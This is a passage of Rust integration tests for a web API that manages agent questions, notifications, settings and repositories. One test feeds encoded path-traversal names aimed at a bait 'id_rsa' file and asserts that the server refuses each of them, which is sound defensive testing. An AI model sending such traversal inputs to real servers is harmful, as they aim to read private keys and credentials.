7914        // The whitelist is matched case-insensitively, so an agent shouting the
7915        // extension still gets a readable file rather than a download.
7916        let txt = fx
7917            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7918            .await;
7919        assert_eq!(
7920            txt.header("content-type"),
7921            Some("text/plain; charset=utf-8")
7922        );
7923    }
7924
7925    #[tokio::test]
7926    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7927        let fx = Fixture::start().await;
7928        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7929        // Something outside the panel directory that a traversal would reach if
7930        // one got through, so a passing test is not merely "the file was
7931        // missing anyway".
7932        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7933
7934        // Decoded before this server's handler sees them: axum percent-decodes
7935        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
7936        // string with a NUL in it. All three look like ordinary single-segment
7937        // filenames to the router, so the router passes them through and
7938        // `valid_asset_name` is what refuses them - for the literal `..`, and
7939        // for `/`, `\` and NUL not being in the permitted character set.
7940        for encoded in [
7941            "%2e%2e%2fid_rsa",
7942            "..%2fid_rsa",
7943            "..%5cid_rsa",
7944            "%2e%2e%5cid_rsa",
7945            "diff%00.svg",
7946            "..",
7947            ".hidden",
7948            "%2e%2e%2f%2e%2e%2fid_rsa",
7949        ] {
7950            let res = fx
7951                .get(&format!("/api/questions/{id}/asset/{encoded}"))
7952                .await;
7953            assert_eq!(
7954                res.status, 400,
7955                "`{encoded}` has to be refused by name, not looked up: {}",
7956                res.body
7957            );
7958            assert!(res.json()["error"].is_string(), "{}", res.body);
7959        }
7960
7961        // Not decoded, and never this handler's problem: a real slash makes the
7962        // request one segment too long for `/api/questions/{id}/asset/{name}`,
7963        // so axum's router has no route to match and answers before any code
7964        // here runs. Asserted so that a future route with a wildcard segment
7965        // cannot quietly open this door.
7966        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7967            let res = fx
7968                .get(&format!("/api/questions/{id}/asset/{literal}"))
7969                .await;
7970            assert_eq!(
7971                res.status, 404,
7972                "`{literal}` must not match the asset route at all: {}",
7973                res.body
7974            );
7975        }
7976    }
7977
7978    #[tokio::test]
7979    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7980        let fx = Fixture::start().await;
7981        let plain = ask(&fx, "Which backend?", &["SQLite"]);
7982        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7983
7984        // A question nobody wrote a panel for. The client preflights with HEAD
7985        // and cannot see inside a sandboxed frame, so this must be a status and
7986        // not an empty page.
7987        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7988        assert_eq!(none.status, 404, "{}", none.body);
7989        assert!(none.json()["error"].is_string(), "{}", none.body);
7990        assert_eq!(
7991            fx.head(&format!("/api/questions/{plain}/panel"))
7992                .await
7993                .status,
7994            404,
7995            "the preflight is the only way the client can learn this"
7996        );
7997
7998        // A name that is perfectly legal and simply is not there.
7999        let missing = fx
8000            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8001            .await;
8002        assert_eq!(missing.status, 404, "{}", missing.body);
8003        assert!(missing.json()["error"].is_string(), "{}", missing.body);
8004
8005        // A question that does not exist at all, on both routes.
8006        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8007        assert_eq!(
8008            fx.get("/api/questions/nope/asset/diff.svg").await.status,
8009            404
8010        );
8011    }
8012
8013    #[tokio::test]
8014    async fn a_run_with_an_open_question_reads_as_waiting() {
8015        let fx = Fixture::start().await;
8016        let run = "20260902-000000-beef".to_owned();
8017        write_run(&fx.runs(), &run, RunStatus::Implementing);
8018
8019        let before = fx.get("/api/runs").await.json();
8020        assert_eq!(before[0]["waiting"], false, "{before}");
8021
8022        let store = fx.questions();
8023        let mut q = Question::new(
8024            run.clone(),
8025            "implement".to_owned(),
8026            "impl-A".to_owned(),
8027            "Which backend?".to_owned(),
8028            String::new(),
8029            vec!["SQLite".to_owned()],
8030        );
8031        store.put(&mut q).expect("put");
8032
8033        let during = fx.get("/api/runs").await.json();
8034        assert_eq!(during[0]["waiting"], true, "{during}");
8035
8036        // Answered: the run is moving again, and the flag has to follow without
8037        // anything having rewritten run.json.
8038        q.answer(Answer::Choice("SQLite".to_owned()))
8039            .expect("answer");
8040        store.put(&mut q).expect("put");
8041        let after = fx.get("/api/runs").await.json();
8042        assert_eq!(after[0]["waiting"], false, "{after}");
8043    }
8044
8045    #[tokio::test]
8046    async fn an_open_question_is_listed_and_counted_by_health() {
8047        let fx = Fixture::start().await;
8048        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8049
8050        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8051        let listed = fx.get("/api/questions").await.json();
8052        assert_eq!(listed.as_array().expect("array").len(), 1);
8053        assert_eq!(listed[0]["id"], id);
8054        assert_eq!(listed[0]["status"], "open");
8055        assert_eq!(listed[0]["choices"][1], "Redis");
8056        // The count is what makes the phone's indicator honest: it is the one
8057        // number meaning nothing will move until a human acts.
8058        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8059    }
8060
8061    #[tokio::test]
8062    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8063        let fx = Fixture::start().await;
8064        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8065        let path = format!("/api/questions/{id}/answer");
8066
8067        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8068        assert_eq!(res.status, 200, "{}", res.body);
8069        let body = res.json();
8070        assert_eq!(body["status"], "answered");
8071        assert_eq!(body["answer"]["choice"], "Redis");
8072
8073        // Answered from the terminal in between the list and the tap: the UI
8074        // must be able to tell this from a bad request, so it can show the
8075        // recorded answer instead of an error.
8076        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8077        assert_eq!(again.status, 409, "{}", again.body);
8078        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8079    }
8080
8081    #[tokio::test]
8082    async fn saying_something_appends_a_turn_without_answering() {
8083        let fx = Fixture::start().await;
8084        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8085        let path = format!("/api/questions/{id}/say");
8086
8087        let res = fx
8088            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8089            .await;
8090        assert_eq!(res.status, 200, "{}", res.body);
8091        let body = res.json();
8092        assert_eq!(body["status"], "open", "talking back is not a decision");
8093        assert_eq!(body["answer"], Value::Null);
8094        assert_eq!(body["thread"][0]["who"], "operator");
8095        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8096        assert_eq!(body["waiting_on_agent"], true);
8097        // Still open, still counted, still exactly one question.
8098        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8099    }
8100
8101    #[tokio::test]
8102    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8103        let fx = Fixture::start().await;
8104        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8105
8106        let list = fx.get("/api/questions").await.json();
8107        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8108
8109        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8110        assert_eq!(res.status, 409, "{}", res.body);
8111        let q = fx.questions().get(&id).unwrap();
8112        assert!(q.status.open());
8113        assert!(q.consult.is_none());
8114    }
8115
8116    #[tokio::test]
8117    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8118        let fx = Fixture::start().await;
8119        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8120        let cfg = Config {
8121            agents: vec![crate::config::AgentSpec {
8122                id: "mock".to_owned(),
8123                kind: crate::config::AgentKind::Command,
8124                model: None,
8125                command: vec!["true".to_owned()],
8126                extra_args: Vec::new(),
8127                env: Default::default(),
8128                prompt_delivery: None,
8129            }],
8130            ..Config::default()
8131        };
8132        let talk = crate::talk::begin(
8133            &fx.talks(),
8134            &cfg,
8135            fx.home.path().to_path_buf(),
8136            Some("mock"),
8137        )
8138        .unwrap();
8139        let mut task = Task::new(
8140            "t".to_owned(),
8141            "Do it".to_owned(),
8142            PathBuf::from("/repo/magi"),
8143            Source::Agent {
8144                run: talk.id.clone(),
8145                node: crate::queue::CHAT_NODE.to_owned(),
8146            },
8147        );
8148        task.start("20260902-000000-beef".to_owned());
8149        fx.queue().put(&mut task).unwrap();
8150
8151        let list = fx.get("/api/questions").await.json();
8152        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8153        assert_eq!(
8154            list[0]["choices"],
8155            serde_json::json!(["SQLite", "Redis"]),
8156            "the hand-over is never a choice"
8157        );
8158        fx.questions()
8159            .update(&id, |q| {
8160                q.node = crate::land::APPROVAL_NODE.into();
8161                q.choices = vec!["merge".into(), "hold".into()];
8162                Ok(())
8163            })
8164            .unwrap();
8165        let list = fx.get("/api/questions").await.json();
8166        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8167        let _ = id;
8168    }
8169
8170    #[tokio::test]
8171    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8172        let fx = Fixture::start().await;
8173        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8174        fx.questions()
8175            .update(&id, |q| {
8176                q.node = crate::land::APPROVAL_NODE.into();
8177                q.choices = vec!["merge".into(), "hold".into()];
8178                Ok(())
8179            })
8180            .unwrap();
8181        let cfg = Config {
8182            agents: vec![crate::config::AgentSpec {
8183                id: "mock".to_owned(),
8184                kind: crate::config::AgentKind::Command,
8185                model: None,
8186                command: vec!["true".to_owned()],
8187                extra_args: Vec::new(),
8188                env: Default::default(),
8189                prompt_delivery: None,
8190            }],
8191            ..Config::default()
8192        };
8193        // Not a git working tree, so its `magi.toml` is read from disk.
8194        let repo = fx.home.path().join("chat-repo");
8195        std::fs::create_dir_all(&repo).unwrap();
8196        let toml = repo.join("magi.toml");
8197        std::fs::write(&toml, "this is = = not toml").unwrap();
8198        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8199        let mut task = Task::new(
8200            "t".to_owned(),
8201            "Do it".to_owned(),
8202            PathBuf::from("/repo/magi"),
8203            Source::Agent {
8204                run: talk.id.clone(),
8205                node: crate::queue::CHAT_NODE.to_owned(),
8206            },
8207        );
8208        task.start("20260902-000000-beef".to_owned());
8209        fx.queue().put(&mut task).unwrap();
8210
8211        let path = format!("/api/questions/{id}/consult");
8212        let res = fx.post(&path, None).await;
8213        assert!(res.status >= 400, "{}", res.body);
8214        assert!(fx.questions().get(&id).unwrap().consult.is_none());
8215        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8216
8217        std::fs::write(&toml, "").unwrap();
8218        let res = fx.post(&path, None).await;
8219        assert_eq!(res.status, 202, "{}", res.body);
8220        assert!(fx.questions().get(&id).unwrap().consult.is_some());
8221        let q = fx.questions().get(&id).unwrap();
8222        assert!(q.status.open());
8223        assert!(q.answer.is_none());
8224        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8225    }
8226
8227    #[tokio::test]
8228    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8229        let fx = Fixture::start().await;
8230        let store = fx.questions();
8231        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8232        assert_eq!(
8233            fx.get("/api/health").await.json()["questions_needs_owner"],
8234            1
8235        );
8236
8237        // The owner asks back instead of deciding: the ask bar, the nav badge
8238        // and the title must stop naming this question, because there is
8239        // nothing to decide until the agent answers - `status` alone cannot
8240        // say that, which is the whole reason `questions_needs_owner` exists
8241        // alongside `questions_open`.
8242        let res = fx
8243            .post(
8244                &format!("/api/questions/{id}/say"),
8245                Some(r#"{"body":"why not Postgres?"}"#),
8246            )
8247            .await;
8248        assert_eq!(res.status, 200, "{}", res.body);
8249        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8250        assert_eq!(
8251            fx.get("/api/health").await.json()["questions_needs_owner"],
8252            0,
8253            "waiting on the agent is not waiting on the owner"
8254        );
8255
8256        // `magi ask --thread` replying is what brings the owner count back -
8257        // the same event that would resume the CLI call blocked in `magi
8258        // ask`.
8259        let mut q = store.get(&id).expect("get");
8260        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8261            .expect("reply");
8262        store.put(&mut q).expect("put");
8263        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8264        assert_eq!(
8265            fx.get("/api/health").await.json()["questions_needs_owner"],
8266            1,
8267            "the agent's reply is what should light the banner back up"
8268        );
8269    }
8270
8271    #[tokio::test]
8272    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8273        let fx = Fixture::start().await;
8274        let store = fx.questions();
8275
8276        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8277        let res = fx
8278            .post(
8279                &format!("/api/questions/{empty_id}/say"),
8280                Some(r#"{"body":"   "}"#),
8281            )
8282            .await;
8283        assert_eq!(res.status, 400, "{}", res.body);
8284
8285        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8286        let mut answered = store.get(&answered_id).expect("get");
8287        answered
8288            .answer(Answer::Choice("SQLite".to_owned()))
8289            .expect("answer");
8290        store.put(&mut answered).expect("put");
8291        let res = fx
8292            .post(
8293                &format!("/api/questions/{answered_id}/say"),
8294                Some(r#"{"body":"still there?"}"#),
8295            )
8296            .await;
8297        assert_eq!(res.status, 409, "{}", res.body);
8298
8299        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8300        let mut abandoned = store.get(&abandoned_id).expect("get");
8301        abandoned.abandon("timed out");
8302        store.put(&mut abandoned).expect("put");
8303        let res = fx
8304            .post(
8305                &format!("/api/questions/{abandoned_id}/say"),
8306                Some(r#"{"body":"still there?"}"#),
8307            )
8308            .await;
8309        assert_eq!(res.status, 409, "{}", res.body);
8310    }
8311
8312    #[tokio::test]
8313    async fn an_answer_the_question_does_not_offer_is_refused() {
8314        let fx = Fixture::start().await;
8315        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8316        let path = format!("/api/questions/{id}/answer");
8317
8318        for body in [
8319            r#"{"choice":"Postgres"}"#,
8320            r#"{"text":"whatever you think"}"#,
8321            r#"{"choice":"Redis","text":"both"}"#,
8322            r#"{}"#,
8323        ] {
8324            let res = fx.post(&path, Some(body)).await;
8325            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8326            assert!(res.json()["error"].is_string(), "{}", res.body);
8327        }
8328        // Nothing above may have answered it.
8329        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8330    }
8331
8332    #[tokio::test]
8333    async fn a_free_text_question_takes_text_and_not_a_choice() {
8334        let fx = Fixture::start().await;
8335        let id = ask(&fx, "What should the flag be called?", &[]);
8336        let path = format!("/api/questions/{id}/answer");
8337
8338        assert_eq!(
8339            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8340            400
8341        );
8342        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8343        assert_eq!(res.status, 200, "{}", res.body);
8344        assert_eq!(res.json()["answer"]["text"], "--json");
8345    }
8346
8347    #[tokio::test]
8348    async fn an_unknown_question_is_a_json_404() {
8349        let fx = Fixture::start().await;
8350        let res = fx
8351            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8352            .await;
8353        assert_eq!(res.status, 404, "{}", res.body);
8354        assert!(res.json()["error"].is_string());
8355    }
8356
8357    #[tokio::test]
8358    async fn notifications_list_read_dismiss_and_health_agree() {
8359        let fx = Fixture::start().await;
8360        let store = Notices::at(fx.home.path().join("notifications"));
8361        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8362        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8363
8364        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8365        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8366
8367        let health = fx.get("/api/health").await.json();
8368        assert_eq!(health["notifications_unread"], 2);
8369        assert_ne!(
8370            health["notifications_rev"], rev0,
8371            "the badge must move live"
8372        );
8373
8374        let listed = fx.get("/api/notifications").await.json();
8375        assert_eq!(listed["unread"], 2);
8376        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8377        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8378
8379        let read = fx
8380            .post(&format!("/api/notifications/{}/read", a.id), None)
8381            .await;
8382        assert_eq!(read.status, 200, "{}", read.body);
8383        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8384
8385        let gone = fx
8386            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8387            .await;
8388        assert_eq!(gone.status, 200, "{}", gone.body);
8389        let listed = fx.get("/api/notifications").await.json();
8390        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8391        assert_eq!(listed["unread"], 0);
8392
8393        store.raise(Notice::info("x", "again")).unwrap();
8394        let all = fx.post("/api/notifications/read-all", None).await;
8395        assert_eq!(all.status, 200, "{}", all.body);
8396        assert_eq!(all.json()["marked"], 1);
8397        assert_eq!(
8398            fx.get("/api/health").await.json()["notifications_unread"],
8399            0
8400        );
8401
8402        let missing = fx.post("/api/notifications/nope/read", None).await;
8403        assert_eq!(missing.status, 404, "{}", missing.body);
8404        assert!(missing.json()["error"].is_string());
8405    }
8406
8407    /// New work reaches the queue through `magi task add`, a standing talk's
8408    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
8409    /// so the compose form and that route are gone. The tests that covered
8410    /// that route's validation went with it, and nothing was left asserting
8411    /// it stays gone — so a re-added handler would silently let the phone
8412    /// file briefs no one validated.
8413    #[tokio::test]
8414    async fn a_task_cannot_be_filed_over_the_phone_directly() {
8415        let f = Fixture::start().await;
8416
8417        let res = f
8418            .post(
8419                "/api/queue",
8420                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8421            )
8422            .await;
8423
8424        assert_eq!(
8425            res.status, 405,
8426            "POST /api/queue must not be a route: {}",
8427            res.body
8428        );
8429        assert!(
8430            f.queue().list().is_empty(),
8431            "a task filed by a route that does not exist must not reach the disk"
8432        );
8433        // The path itself is still served — the Queue view reads it — and the
8434        // per-task controls are untouched by the entry being removed.
8435        assert_eq!(f.get("/api/queue").await.status, 200);
8436    }
8437
8438    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
8439    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8440        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8441            .expect("checkout dir");
8442    }
8443
8444    /// Two command agents, so a config needs no real CLI.
8445    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8446
8447    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8448        let tmp = TempDir::new().expect("tempdir");
8449        let repo = tmp.path().join("repo");
8450        std::fs::create_dir_all(&repo).expect("repo dir");
8451        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8452        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8453        if let Some(text) = machine_toml {
8454            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8455            std::fs::write(&machine, text).expect("machine toml");
8456        }
8457        (tmp, repo, machine)
8458    }
8459
8460    #[tokio::test]
8461    async fn settings_get_reports_sources_and_the_advisors_fallback() {
8462        let (_tmp, repo, machine) =
8463            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8464        let f = Fixture::with_repo_and_machine(repo, machine).await;
8465        let res = f.get("/api/settings").await;
8466        assert_eq!(res.status, 200, "{}", res.body);
8467        let v = res.json();
8468        assert!(v["error"].is_null(), "{v}");
8469        let role = |k: &str| {
8470            v["roles"]
8471                .as_array()
8472                .and_then(|r| r.iter().find(|x| x["key"] == k))
8473                .cloned()
8474                .unwrap_or_else(|| panic!("no role {k}: {v}"))
8475        };
8476        assert_eq!(role("judges")["source"], "machine");
8477        assert_eq!(role("judges")["editable"], true);
8478        assert_eq!(role("implementers")["source"], "default");
8479        let adv = role("advisors");
8480        assert_eq!(adv["fallback"], "judges");
8481        assert!(
8482            adv["seats"]
8483                .as_array()
8484                .is_some_and(|s| s.iter().all(|x| x == "b")),
8485            "{adv}"
8486        );
8487        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8488        assert_eq!(v["agents"][0]["source"], "repo");
8489    }
8490
8491    #[tokio::test]
8492    async fn settings_get_reports_a_config_that_does_not_parse() {
8493        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8494        let f = Fixture::with_repo_and_machine(repo, machine).await;
8495        let res = f.get("/api/settings").await;
8496        assert_eq!(res.status, 200, "{}", res.body);
8497        let v = res.json();
8498        assert!(v["error"]["message"].is_string(), "{v}");
8499        assert!(
8500            v["error"]["path"]
8501                .as_str()
8502                .is_some_and(|p| p.ends_with("magi.toml")),
8503            "{v}"
8504        );
8505        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8506    }
8507
8508    #[tokio::test]
8509    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8510        let (_tmp, repo, machine) = settings_dirs(
8511            SETTINGS_AGENTS,
8512            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
8513        );
8514        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8515        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8516        let rev = f.get("/api/settings").await.json()["revision"]
8517            .as_str()
8518            .expect("revision")
8519            .to_owned();
8520        let body = serde_json::json!({
8521            "revision": rev,
8522            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8523        })
8524        .to_string();
8525        let res = f.put("/api/settings/roles", &body).await;
8526        assert_eq!(res.status, 200, "{}", res.body);
8527        let text = std::fs::read_to_string(&machine).expect("machine");
8528        assert_eq!(
8529            text,
8530            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8531        );
8532        assert_eq!(
8533            std::fs::read(repo.join("magi.toml")).expect("read"),
8534            repo_before
8535        );
8536        let again = f.get("/api/settings").await.json();
8537        let judges = again["roles"]
8538            .as_array()
8539            .expect("roles")
8540            .iter()
8541            .find(|r| r["key"] == "judges")
8542            .expect("judges")
8543            .clone();
8544        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8545        // The old revision is now stale.
8546        let stale = f.put("/api/settings/roles", &body).await;
8547        assert_eq!(stale.status, 409, "{}", stale.body);
8548    }
8549
8550    #[tokio::test]
8551    async fn settings_counts_are_reported_and_saved() {
8552        let (_tmp, repo, machine) = settings_dirs(
8553            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8554            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8555        );
8556        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8557        let v = f.get("/api/settings").await.json();
8558        let count = |v: &serde_json::Value, k: &str| {
8559            v["roles"]
8560                .as_array()
8561                .and_then(|r| r.iter().find(|x| x["key"] == k))
8562                .map(|x| x["count"].clone())
8563                .unwrap_or_else(|| panic!("no role {k}: {v}"))
8564        };
8565        let imp = count(&v, "implementers");
8566        assert_eq!(imp["value"], 2);
8567        assert_eq!(imp["source"], "machine");
8568        assert_eq!(imp["file_key"], "candidates");
8569        assert_eq!(imp["roster_len"], 2);
8570        assert_eq!(imp["backups"], 0);
8571        assert_eq!(count(&v, "judges")["source"], "default");
8572        assert_eq!(count(&v, "advisors")["min"], 0);
8573        assert_eq!(count(&v, "reviewers")["editable"], false);
8574        assert!(
8575            count(&v, "reviewers")["locked_reason"]
8576                .as_str()
8577                .is_some_and(|m| m.contains("graph.reviewers"))
8578        );
8579        assert!(count(&v, "fixer").is_null());
8580        let rev = v["revision"].as_str().expect("revision").to_owned();
8581        let body = serde_json::json!({
8582            "revision": rev,
8583            "roles": { "judges": ["b"] },
8584            "counts": { "implementers": 1, "advisors": 0 }
8585        })
8586        .to_string();
8587        let res = f.put("/api/settings/roles", &body).await;
8588        assert_eq!(res.status, 200, "{}", res.body);
8589        let text = std::fs::read_to_string(&machine).expect("machine");
8590        assert_eq!(
8591            text,
8592            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
8593        );
8594        let after = f.get("/api/settings").await.json();
8595        assert_eq!(count(&after, "implementers")["value"], 1);
8596        assert_eq!(count(&after, "implementers")["backups"], 1);
8597        assert_eq!(count(&after, "advisors")["value"], 0);
8598        let before = std::fs::read_to_string(&machine).expect("machine");
8599        let rev = after["revision"].as_str().expect("revision").to_owned();
8600        for counts in [
8601            serde_json::json!({ "judges": 0 }),
8602            serde_json::json!({ "judges": "x" }),
8603            serde_json::json!({ "judges": 2.5 }),
8604            serde_json::json!({ "judges": -1 }),
8605            serde_json::json!({ "reviewers": 3 }),
8606            serde_json::json!({ "bogus": 3 }),
8607        ] {
8608            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
8609            let res = f.put("/api/settings/roles", &body).await;
8610            assert_eq!(res.status, 422, "{counts}: {}", res.body);
8611            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
8612        }
8613    }
8614
8615    #[tokio::test]
8616    async fn settings_put_refuses_without_touching_the_file() {
8617        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8618        let (_tmp, repo, machine) = settings_dirs(
8619            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8620            Some(machine_text),
8621        );
8622        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8623        let rev = f.get("/api/settings").await.json()["revision"]
8624            .as_str()
8625            .expect("revision")
8626            .to_owned();
8627        for roles in [
8628            serde_json::json!({ "judges": ["nope"] }),
8629            serde_json::json!({ "reviewers": ["b"] }),
8630            serde_json::json!({ "bogus": ["a"] }),
8631        ] {
8632            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8633            let res = f.put("/api/settings/roles", &body).await;
8634            assert_eq!(res.status, 422, "{roles}: {}", res.body);
8635            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8636            assert_eq!(
8637                std::fs::read_to_string(&machine).expect("machine"),
8638                machine_text
8639            );
8640        }
8641    }
8642
8643    #[tokio::test]
8644    async fn repos_list_returns_name_and_path_for_every_configured_root() {
8645        let tmp = TempDir::new().expect("tempdir");
8646        let repo = tmp.path().join("repo");
8647        std::fs::create_dir_all(&repo).expect("repo dir");
8648        let root = tmp.path().join("root");
8649        make_checkout(&root, "github.com", "yukimemi", "magi");
8650        std::fs::write(
8651            repo.join("magi.toml"),
8652            format!(
8653                "[repos]\nroots = [{:?}]\n",
8654                root.to_string_lossy().into_owned()
8655            ),
8656        )
8657        .expect("write magi.toml");
8658
8659        let f = Fixture::with_repo(repo).await;
8660        let res = f.get("/api/repos").await;
8661        assert_eq!(res.status, 200, "{}", res.body);
8662        let list = res.json();
8663        let repos = list.as_array().expect("an array");
8664        assert_eq!(repos.len(), 1);
8665        assert_eq!(repos[0]["name"], "yukimemi/magi");
8666        assert!(
8667            repos[0]["path"]
8668                .as_str()
8669                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8670            "{list}"
8671        );
8672    }
8673
8674    #[tokio::test]
8675    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8676        let tmp = TempDir::new().expect("tempdir");
8677        let repo = tmp.path().join("repo");
8678        std::fs::create_dir_all(&repo).expect("repo dir");
8679        let root = tmp.path().join("root");
8680        make_checkout(&root, "github.com", "yukimemi", "magi");
8681        std::fs::write(
8682            repo.join("magi.toml"),
8683            format!(
8684                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8685                root.to_string_lossy().into_owned()
8686            ),
8687        )
8688        .expect("write magi.toml");
8689
8690        let f = Fixture::with_repo(repo).await;
8691        let first = f.get("/api/repos").await;
8692        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8693
8694        // A second checkout appears; within the TTL the cached answer must
8695        // not notice it.
8696        make_checkout(&root, "github.com", "yukimemi", "rvpm");
8697        let second = f.get("/api/repos").await;
8698        assert_eq!(
8699            second.json().as_array().map(Vec::len),
8700            Some(1),
8701            "a fresh cache must not rescan inside the TTL"
8702        );
8703
8704        let refreshed = f.get("/api/repos?refresh=1").await;
8705        assert_eq!(
8706            refreshed.json().as_array().map(Vec::len),
8707            Some(2),
8708            "an explicit refresh must rescan even inside the TTL"
8709        );
8710    }
8711
8712    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
8713    /// string, declared straight in a repository's own `magi.toml` rather
8714    /// than the operator's real roster. No real agent CLI is spawned - `sh`
8715    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
8716    /// this is safe to run over a real HTTP round trip.
8717    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8718
8719    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
8720    /// real `Config::discover` to find an agent - `talk::begin` resolves one
8721    /// even though it takes no turn, and `talk_say` invokes one.
8722    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8723        let tmp = TempDir::new().expect("tempdir");
8724        let repo = tmp.path().join("repo");
8725        std::fs::create_dir_all(&repo).expect("repo dir");
8726        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8727        let f = Fixture::with_repo(repo.clone()).await;
8728        (tmp, repo, f)
8729    }
8730
8731    #[tokio::test]
